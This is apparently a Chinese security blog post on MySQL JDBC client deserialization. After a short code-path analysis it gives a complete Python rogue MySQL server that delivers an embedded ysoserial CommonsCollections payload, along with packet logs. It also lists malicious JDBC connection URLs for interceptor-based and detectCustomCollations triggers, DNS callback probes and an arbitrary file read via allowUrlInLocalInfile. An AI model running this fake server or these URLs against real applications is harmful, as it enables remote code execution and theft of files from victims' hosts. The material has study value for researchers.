Java JDBC客户端反序列化漏洞
前言：在测试中，碰到了一个检验JDBC连接的，突然就想到了JDBC反序列化的利用，这里就来学习下！
参考文章：https://xz.aliyun.com/t/8159
参考文章：https://www.anquanke.com/post/id/203086#h2-2
初识
JDBC（Java DataBase Connectivity）是Java和数据库之间的一个桥梁，是一个 规范 而不是一个实现，能够执行SQL语句。它由一组用Java语言编写的类和接口组成。各种不同类型的数据库都有相应的实现，这里通过mysql来进行演示。
寻找能够进行反序列化点，漏洞作者发现com.mysql.cj.jdbc.result.ResultSetImpl.getObject()，这里能够进行反序列化操作，下面的对源代码进行了部分删减
public Object getObject(int columnIndex) throws SQLException {
checkRowPos();
checkColumnBounds(columnIndex);
int columnIndexMinusOne = columnIndex - 1;
// we can't completely rely on code below because primitives have default values for null (e.g. int->0)
if (this.thisRow.getNull(columnIndexMinusOne)) {
return null;
}
Field field = this.columnDefinition.getFields()[columnIndexMinusOne];
switch (field.getMysqlType()) {
case BIT:
// TODO Field sets binary and blob flags if the length of BIT field is > 1; is it needed at all?
if (field.isBinary() || field.isBlob()) { // 如果进入到这个判断语句中则可以进行反序列化，判断字段的值是否为Binary格式或者Blob格式
byte[] data = getBytes(columnIndex); // 获取对应索引值的值
if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) { // 判断autoDeserialize是否开启
Object obj = data;
if ((data != null) && (data.length >= 2)) {
if ((data[0] == -84) && (data[1] == -19)) { // 判断是否为0xACED，也就是为序列化的数据
// Serialized object?
try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject(); // 执行反序列化的操作
objIn.close();
bytesIn.close();
...
...
通过代码中的注释，可以知道如果想要进行反序列化readObject的操作的话，那么就需要满足如下条件：
1、对应的索引字段值 是 isBlob or isBinary
2、数据需要为序列化的数据
3、autoDeserialize为开启状态
接着继续走，哪里会调用它，作者又发现如下一处（其他地方也有，只是漏洞作者找的是这，可能这里才能利用，自己具体没分析），那么这就索引值为1或者2的数据满足上面两个条件即可，那这个索引值数据到底是什么呢？
public class ResultSetUtil {
@SuppressWarnings({ "rawtypes", "unchecked" })
public static void resultSetToMap(Map mappedValues, ResultSet rs) throws SQLException {
while (rs.next()) {
mappedValues.put(rs.getObject(1), rs.getObject(2));
}
}
...
...
继续来看哪里调用了resultSetToMap，如下代码所示：
private void populateMapWithSessionStatusValues(Map<String, String> toPopulate) {
java.sql.Statement stmt = null;
java.sql.ResultSet rs = null;
try {
try {
toPopulate.clear();
stmt = this.connection.createStatement();
rs = stmt.executeQuery("SHOW SESSION STATUS");
ResultSetUtil.resultSetToMap(toPopulate, rs); // 这里进行调用了resultSetToMap
}
...
...
继续往上追谁调用了populateMapWithSessionStatusValues，发现有两处都有调用
第一处：postProcess
public <T extends Resultset> T postProcess(Supplier<String> sql, Query interceptedQuery, T originalResultSet, ServerSession serverSession) {
populateMapWithSessionStatusValues(this.postExecuteValues); // 这里进行调用了
this.log.logInfo("Server status change for query:\n" + Util.calculateDifferences(this.preExecuteValues, this.postExecuteValues));
return null; // we don't actually modify a result set
}
第二处：preProcess
public <T extends Resultset> T preProcess(Supplier<String> sql, Query interceptedQuery) {
populateMapWithSessionStatusValues(this.preExecuteValues);
return null; // we don't actually modify a result set
}
ServerStatusDiffInterceptor触发方式
queryInterceptors则需要触发SQL Query，而在getConnection过程中，会触发SET NAMES utf、set autocommit=1一类的请求，所以会触发我们所配置的queryInterceptors
复现
漏洞利用：
# -*- coding:utf-8 -*-
#@Time : 2020/7/27 2:10
#@Author: Tri0mphe7
#@File : server.py
import socket
import binascii
import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()
def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))
def get_payload_content():
//file文件的内容使用ysoserial生成的 使用规则 java -jar ysoserial [common7那个] "calc" > a
file= r'a'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")
else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content
# 主要逻辑
def run():
while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))
# 1.先发送第一个 问候报文
send_data(conn,greeting_data)
while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)
#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢？？
//获取payload
payload_content=get_payload_content()
//计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
//计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break
if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3309
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)
print("start fake mysql server listening on {}:{}".format(HOST,PORT))
run()
jdbc客户端：
public class Test {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
String driver = "com.mysql.cj.jdbc.Driver";
//8.x使用
String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL, "root", "123456");
}
}
分析
接着我们来看下是怎么触发ServerStatusDiffInterceptor到这个拦截器的，打上断点
初始化jdbcConnection
接着开始进行IO操作
后面会根据对应的拦截器来进行不同的处理
这里就调用了preProcess
最后来到了populateMapWithSessionStatusValues
接着进入resultSetToMap，开始反序列化
最后进行触发CC3的调用链，我这里用的是cc3，其他的也可以，但是最重要的还是取决于客户端中的依赖包是否满足
代码分析
可以看下这个利用脚本一共做了什么事情，通过抓包如下所示：
这里的话，其实你抓包就会发现，它模拟了一个mysql服务端正常接收到连接请求之后所要发送的数据，它模拟的就是这些事情，不过里面还涉及到了mysql的私有协议的知识点，我自己就不学习了，有兴趣大家去了解下，参考文章在上面。
[*] Sending the package : 4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400
[*] Receiveing the package : b'\xdf\x00\x00\x01\x8f\xa2>\x01\xff\xff\xff\x00!\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00root\x00\x14\xb3]$\x04 \xca\x1cp\x1f\xab\x9d{\xcd`\x1d\x8a\xe9T8\x87mysql\x00mysql_native_password\x00\x88\x10_runtime_version\t1.8.0_181\x0f_client_version\x068.0.14\x0f_client_license\x03GPL\x0f_runtime_vendor\x12Oracle Corporation\x0c_client_name\x11MySQL Connector/J'
[*] Sending the package : 0700000200000002000000
[*] Receiveing the package : b'\xa0\x03\x00\x00\x03/* mysql-connector-java-8.0.14 (Revision: 36534fa273b4d7824a8668ca685465cf8eaeadd9) */SELECT @@session.auto_increment_increment AS auto_increment_increment, @@character_set_client AS character_set_client, @@character_set_connection AS character_set_connection, @@character_set_results AS character_set_results, @@character_set_server AS character_set_server, @@collation_server AS collation_server, @@collation_connection AS collation_connection, @@init_connect AS init_connect, @@interactive_timeout AS interactive_timeout, @@license AS license, @@lower_case_table_names AS lower_case_table_names, @@max_allowed_packet AS max_allowed_packet, @@net_write_timeout AS net_write_timeout, @@query_cache_size AS query_cache_size, @@query_cache_type AS query_cache_type, @@sql_mode AS sql_mode, @@system_time_zone AS system_time_zone, @@time_zone AS time_zone, @@tx_isolation AS transaction_isolation, @@wait_timeout AS wait_timeout'
[*] Sending the package : 01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000
[*] Receiveing the package : b'\x12\x00\x00\x00\x03SET NAMES utf8mb4'
[*] Sending the package : 0700000200000002000000
[*] Receiveing the package : b'!\x00\x00\x00\x03SET character_set_results = NULL'
[*] Sending the package : 0700000200000002000000
[*] Receiveing the package : b'\x14\x00\x00\x00\x03SHOW SESSION STATUS'
open false
[*] Sending the package : 01000001021a000002036465660001630163016301630c3f00ffff0000fc90000000001a000003036465660001630163016301630c3f00ffff0000fc900000000001050004fbfcfd04aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f400000000000007708000000100000000078787807000005fe000022000100
[*] Receiveing the package : b'\x0e\x00\x00\x00\x03SHOW WARNINGS'
[*] Sending the package : 01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000
需要注意的是我在演示的时候，用户名和密码是填写在getConnection函数中的，而在实战的时候，我们需要一条jdbc连接即可利用，那么我们可以这样子
jdbc:mysql://127.0.0.1:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true&user=你的用户名
我这里使用了fnmsd提供的工具https://github.com/fnmsd/MySQL_Fake_Server
jdbc:mysql://127.0.0.1:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true&user=yso_CommonsCollections7_calc
或者说试试URLDNS
jdbc:mysql://127.0.0.1:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true&user=yso_URLDNS_http://0w00xf.dnslog.cn
触犯反序列化的方式不是只有ServerStatusDiffInterceptor，还有detectCustomCollations
detectCustomCollations触发方式
这里就不写了，以后想写再补上，可以先参考 https://github.com/fnmsd/MySQL_Fake_Server
5.x的payload：jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_URLDNS_http://qbbuz9.dnslog.cn
前面还是一样，先来到CreateNewIo方法
接着就是connectOneTryOnly方法
initializePropsFromServer方法
buildCollationMapping方法
getDetectCustomCollations方法，这个是重点，不满足则不会进入到反序列化的阶段
后面的流程跟第一种走的一样，这里就省略了...
5.x为什么下面的payload不行
public class Test {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
String driver = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/mysql?queryInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true&user=yso_URLDNS_http://tft6j3.dnslog.cn";
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
}
}
运行如上的payload，发现不行
使用的是URLDNS，发现一点反应都没有
自己一开始尝试的payload是如下，但是发现经过上面的测试，这个payload是无法进行利用的
想要进入该循环就需要满足detectCustomCollations=true，所以这里detectCustomCollations一定需要为true才行
任意文件读取的坑
5.1.x的时候payload：jdbc:mysql://x.x.x.x:80/mysql?maxAllowedPacket=655360
记得maxAllowedPacket这个参数，要不然读取不了，实战中遇到了，不过还好后面加了这个参数还是读取成功了
allowUrlInLocalInfile（2022-11-29）
参考文章：https://www.freebuf.com/vuls/341270.html
这两天打了安洵杯，学习到了一个比较有用的技巧，通过设置allowUrlInLocalInfile可以使得当前
具体的开启方法在com.mysql.jdbc.MysqlIO#sendFileToServer
GetFile.java
public class GetFile {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
Class.forName("com.mysql.jdbc.Driver");
String url = "jdbc:mysql://127.0.0.1:3306/test?user=fileread_file:///d:/&maxAllowedPacket=655360&allowUrlInLocalInfile=true";
Connection con = DriverManager.getConnection(url);
}
}
